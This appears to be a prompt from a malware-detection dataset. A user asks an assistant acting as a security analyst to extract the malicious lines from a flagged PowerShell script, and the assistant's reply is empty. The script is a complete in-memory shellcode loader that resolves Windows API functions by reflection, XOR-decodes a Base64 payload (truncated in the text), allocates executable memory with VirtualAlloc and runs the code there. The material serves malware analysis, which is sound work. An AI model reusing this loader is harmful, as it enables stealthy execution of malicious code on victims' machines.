User: You are a security researcher and analyst.
Assistant: Understood. I will strictly follow these instructions in this conversation.
User: Here is an example of the desired output:
<start-malicious-code>
Write-Output "Hello"
......
Write-Output "Goodbye"
<end-malicious-code>
You are analyzing a PowerShell script named 'a55296309871408165c248cb6e5c88e84da5682bdddc5cce220552660536d93b.ps1'. Our random forest model has predicted it as malicious. Please identify and list all code snippets associated with unauthorized or malicious activity. Output only malicious code snippets. Do not include explanations, comments, or other text inside the tags.  Write each snippet on its own line. The output malicious code should strictly between the tags '<start-malicious-code>' and '<end-malicious-code>'. **Order them by confidence from high to low.** If uncertain, respond with 'Unknown'. Here is the PowerShell script code you are analyzing:
<code>

Set-StrictMode -Version 2
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)
	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
	return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
	[Byte[]]$var_code = [System.Convert]::FromBase64String('s7OzbnlicXZrqsZros8DIyMja64+ydzc3Guq/Gui4L9HIiPc8GKb05aBdUsnIyMj...IyMjIyMjIyMj') # The omitted 's7OzbnlicXZrqsZros8DIyMja64+ydzc3Guq/Gui4L9HIiPc8GKb05aBdUsnIyMj...IyMjIyMjIyMj' is actually a 354309 character long hexadecimal/Base64 string.
	for ($x = 0; $x -lt $var_code.Count; $x++) {
		$var_code[$x] = $var_code[$x] -bxor 35
	}
	[Byte[]]$func_gmh = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetModuleHandleA).ToInt64())
	[Byte[]]$func_gpa = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetProcAddress).ToInt64())
	[Array]::Copy($func_gmh, 0, $var_code, 91335, $func_gmh.Length)
	[Array]::Copy($func_gpa, 0, $var_code, 91350, $func_gpa.Length)
	$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
	$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
	[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
	$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
	$var_runme.Invoke([IntPtr]::Zero)
}


<\code>
Assistant: